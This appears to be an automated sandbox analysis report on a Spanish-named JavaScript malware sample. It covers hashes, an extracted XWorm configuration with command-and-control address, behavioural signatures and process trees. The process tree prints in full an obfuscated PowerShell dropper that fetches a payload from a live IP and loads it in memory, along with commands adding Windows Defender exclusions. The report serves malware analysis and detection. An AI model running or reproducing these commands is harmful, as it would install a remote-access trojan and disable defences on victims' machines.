Analysis
- max time kernel
149s - max time network
151s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
26/08/2026, 15:05
Static task
static1
Behavioral task
behavioral1
Sample
Cotización del pedido.js
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
Cotización del pedido.js
Resource
win11ltsc2024-20260709-en
General
- Target Cotización del pedido.js
- Size 604KB
- Sample260826-sgcm4adh95
- SHA256 10b08b9d4271e95eca8095cc2f74078e7e0654ea2bcf98d0b50fffc05fddd38b
- MD5 afa07fde46ea783d6620f9be62ddd519
- SHA1 e4593365e49d12402db700d741ce4e0254c10135
- SHA512 f328c2cdbb8775ff3e82c998d04bc9e0a7f77bc57f61844658c12763d74969927845db8e1e5b4ef1497b98d0288d1bfaccf929c404df7c5e7ec8d9703ba39beb
- SSDEEP 384:8putV+fL2doo5V1y8d5UoE2syKqicNZ/xKVTQskUQg9u4nq6:d46xLk
- TLSH T19FD4855331BBAEC8AB7B72144BC8234B96A4156DA414F65DF36253214DF432F0BAFC89
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
ps1
-
ps1.dropper
http://193.104.58.65/rump25th.png
-
exe.dropper
http://193.104.58.65/rump25th.png
Extracted
-
xworm
-
5.0
-
194.116.236.49:2222
-
L9J7bax6V38Cuxgd
-
install_file
USB.exe
Signatures
- Detect Xworm Payload 1 IoCs
resource yara_rule behavioral2/memory/5732-19-0x0000000000400000-0x0000000000410000-memory.dmp family_xworm - Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 692 3764 powershell.exe 84 - Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 3 692 powershell.exe 6 692 powershell.exe -
pid Process 692 powershell.exe 5268 powershell.exe 2176 powershell.exe - Creates a file in the Startup directory 1 TTPs 1 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Cotización del pedido.js wscript.exe - Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 692 set thread context of 5732 692 powershell.exe 92 - Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Caspol.exe - Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\ wscript.exe - Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 692 powershell.exe 692 powershell.exe 5268 powershell.exe 5268 powershell.exe 5268 powershell.exe 2176 powershell.exe 2176 powershell.exe 2176 powershell.exe 5732 Caspol.exe - Suspicious use of AdjustPrivilegeToken 46 IoCs
description pid Process Token: SeDebugPrivilege 692 powershell.exe Token: SeDebugPrivilege 5732 Caspol.exe Token: SeDebugPrivilege 5268 powershell.exe Token: SeIncreaseQuotaPrivilege 5268 powershell.exe Token: SeSecurityPrivilege 5268 powershell.exe Token: SeTakeOwnershipPrivilege 5268 powershell.exe Token: SeLoadDriverPrivilege 5268 powershell.exe Token: SeSystemProfilePrivilege 5268 powershell.exe Token: SeSystemtimePrivilege 5268 powershell.exe Token: SeProfSingleProcessPrivilege 5268 powershell.exe Token: SeIncBasePriorityPrivilege 5268 powershell.exe Token: SeCreatePagefilePrivilege 5268 powershell.exe Token: SeBackupPrivilege 5268 powershell.exe Token: SeRestorePrivilege 5268 powershell.exe Token: SeShutdownPrivilege 5268 powershell.exe Token: SeDebugPrivilege 5268 powershell.exe Token: SeSystemEnvironmentPrivilege 5268 powershell.exe Token: SeRemoteShutdownPrivilege 5268 powershell.exe Token: SeUndockPrivilege 5268 powershell.exe Token: SeManageVolumePrivilege 5268 powershell.exe Token: 33 5268 powershell.exe Token: 34 5268 powershell.exe Token: 35 5268 powershell.exe Token: 36 5268 powershell.exe Token: SeDebugPrivilege 2176 powershell.exe Token: SeIncreaseQuotaPrivilege 2176 powershell.exe Token: SeSecurityPrivilege 2176 powershell.exe Token: SeTakeOwnershipPrivilege 2176 powershell.exe Token: SeLoadDriverPrivilege 2176 powershell.exe Token: SeSystemProfilePrivilege 2176 powershell.exe Token: SeSystemtimePrivilege 2176 powershell.exe Token: SeProfSingleProcessPrivilege 2176 powershell.exe Token: SeIncBasePriorityPrivilege 2176 powershell.exe Token: SeCreatePagefilePrivilege 2176 powershell.exe Token: SeBackupPrivilege 2176 powershell.exe Token: SeRestorePrivilege 2176 powershell.exe Token: SeShutdownPrivilege 2176 powershell.exe Token: SeDebugPrivilege 2176 powershell.exe Token: SeSystemEnvironmentPrivilege 2176 powershell.exe Token: SeRemoteShutdownPrivilege 2176 powershell.exe Token: SeUndockPrivilege 2176 powershell.exe Token: SeManageVolumePrivilege 2176 powershell.exe Token: 33 2176 powershell.exe Token: 34 2176 powershell.exe Token: 35 2176 powershell.exe Token: 36 2176 powershell.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 5732 Caspol.exe - Suspicious use of WriteProcessMemory 7 IoCs
description pid Process procid_target PID 692 wrote to memory of 5732 692 powershell.exe 92 PID 692 wrote to memory of 5732 692 powershell.exe 92 PID 692 wrote to memory of 5732 692 powershell.exe 92 PID 692 wrote to memory of 5732 692 powershell.exe 92 PID 692 wrote to memory of 5732 692 powershell.exe 92 PID 5732 wrote to memory of 5268 5732 Caspol.exe 93 PID 5732 wrote to memory of 2176 5732 Caspol.exe 96
Processes
-
C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\Cotización del pedido.js"1⤵
- Creates a file in the Startup directory
- Modifies registry class
PID:2300
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $boswellize = ''http://193.104.58.65/rump25th.png''; Add-Type -AssemblyName System.Net.Http; $satirizing = New-Object System.Net.CookieContainer; $xerotes = New-Object System.Net.Http.HttpClientHandler; $xerotes.AllowAutoRedirect = $true; $xerotes.CookieContainer = $satirizing; $upcomming = New-Object System.Net.Http.HttpClient($xerotes); $upcomming.DefaultRequestHeaders.Add(''User-Agent'', ''Mozilla/5.0 (Windows NT 10.0; Win64; x64)''); try { $polytypical = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Head, $boswellize); $politico = $upcomming.SendAsync($polytypical).GetAwaiter().GetResult(); $scantinesses = $politico.Content.Headers.ContentLength; if ($null -eq $scantinesses) { $scantinesses = 5000000; } $thiolation = [Math]::Min($scantinesses, 3000000); $irori = [Math]::Max(0, $scantinesses - $thiolation); $sysopped = $scantinesses - 1; $pyrotherium = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Get, $boswellize); $pyrotherium.Headers.Range = New-Object System.Net.Http.Headers.RangeHeaderValue($irori, $sysopped); $deploration = $upcomming.SendAsync($pyrotherium).GetAwaiter().GetResult(); [byte[]]$wonders = $deploration.Content.ReadAsByteArrayAsync().GetAwaiter().GetResult(); $blinkered = [System.Text.Encoding]::ASCII.GetString($wonders); } catch { $millipascals = (New-Object System.Net.WebClient).DownloadString($boswellize); $blinkered = $millipascals; } $unfine=''IN-''; $dogbolt=''-in1''; $isospondyli = [string]::IndexOf($blinkered, $unfine); $Altissimo = $blinkered.LastIndexOf($dogbolt); if($isospondyli -eq -1 -or $Altissimo -eq -1){return}; $uncloven = $isospondyli + $unfine.Length; $warwickite = $blinkered.Substring($blinkered.IndexOf($unfine) + $unfine.Length, $Altissimo - ($blinkered.IndexOf($unfine) + $unfine.Length)); $Noughties = $warwickite.Replace(''*'',''A'').ToCharArray(); $palls = -join $Noughties[($Noughties.Length - 1)..0]; $cerebrosity = ($palls -match ''^[0-9a-fA-F]+$'') -and ($palls.Length % 2 -eq 0); [byte[]]$inhibitions = $null; if ($cerebrosity) { $inhibitions = for ($i = 0; $i -lt $palls.Length; $i += 2) { [Convert]::ToByte($palls.Substring($i, 2), 16) } } else { $achilida = [Type]::GetType((''System''+''.''+''Convert'') -join ''''); $inhibitions = $achilida.GetMethod((''From''+''Base64''+''String'') -join '''').Invoke($null, (,$palls)); } $junonia = [AppDomain]::(''CurrentDomain''); $percentile = $junonia.GetType().GetMethod(''Load'', [byte[]]); $impenetrable = $percentile.Invoke($junonia, (,$inhibitions)); $aminoxides = (''EjfuHx25yfKohlKYQBh9pqgDgIsQsJBvILSPFdqewRVdu1uyeF6TB2X0qZS3mOk9SPmrtRrK2XJWiJwjkAWiWQ=='','''',''V9MqgooMCgmy4tiV8DBsHjk8J1f4/UfRjbZIB7d069cFWZu6Q6gLdoWly6w40bVx'',''om313fX5bxL0XxJ4BZQBu8trqVyTm3hdZEWsZtbZ0js='',''1eBUTk/jbah9SU8gz3q2s47cIea1H0/6t2ccMcnkzDs='','''',''PrGqGgllSUwK2hNzCaGS104tvr+IzUvq0WZZfkcdhFg='','''',''x12y77pB5gNGdi0lic85GWQ/3dXveHnTd73HAyaL19o='',''HEwwwmaNz+wr3gmjNIGZrC0RG1Nw0E7wjWILA/jvsPlZ9bFe40R6iQzMEtBYCAoS'',''7kLvbcbOvX1TXqhKG8HhDlEk9Z8k2g/Hzor5ciIVEdI='',''AvSb0IpijJ/Ng+eDaZBFqg/qW3AcJdNT95Zumcjy73w='',''hCRou4uQY156GAfm1BHm5mpLD6oxP9fiW2u8Jv/PVBY='','''',''yU+kizeeKWFpa1VJsLRM5hHBJ09fges36MhyTJN6674='',''PFmZHbW0mby1IbgtRQI8cPTLtg4aHsC8nBT3C1KMFCE='','''','''',''''); try { $pinic = ($impenetrable.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $radiolesions = ($pinic.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $radiolesions.Invoke($null, [object[]]$aminoxides); } catch {} finally { if ($null -ne $upcomming) { $upcomming.Dispose() } }'))"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:692 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5732 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5268
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Caspol.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2176
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 05d31b0fefff9c6437daeb6c0dce25e562e561204f2b56f9d09d061f22f78e58
- MD5 4f6681f0f0e2c033059b96376a9c595d
- SHA1 8d82391c1be4a298c6912d32cae651bff7c8a6cb
- SHA512 a0d2701ed36e727033232b44cb2ac3039cc6fcfe9f8e4c9b8117c1d244148da4f38889ba5db70ca5762f93f898ebc0cef1cb9dd8806fa542191c5b440ba6d2a0
- TLSH T1E8216833F3CC8610D896403A00DEAC1037B687DB419ECE9BBB88D258B52F598DEA0160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 21KB
- SHA256 a203695046f1c9965eadd8894f3976a9b90f4584f67c0e1932f68eab5711d1b3
- MD5 105631aa14fce0031c868c3f39c35b26
- SHA1 82bf4f0fbe5fb7d5003134dcfa2300730d6d8121
- SHA512 249cf5b8af25f1c9f2abbaf7f775beae462f19537e505a6cda195644c5c6fda0c8ced0902d10ca2d1941bd6561d8a2ec6b458ebbbd093d12ebac7a57e5fcb756
- SSDEEP 384:Q1eBaoT1iBGTGW14bRfBZMHTP1+gdRXfr2pC5IAXz48+pWjMrtzKwIvYbhNqPUlC:cexZ6G6WitpZMz1+o6iIAXzX+xrVHbhw
- TLSH T1F6A2B578213F6DC7D8D226B410D10AE7FBE4D489DAF611D4BF1BDA2F4C90EB64A60524
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_e0qtkrwj.4kx.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH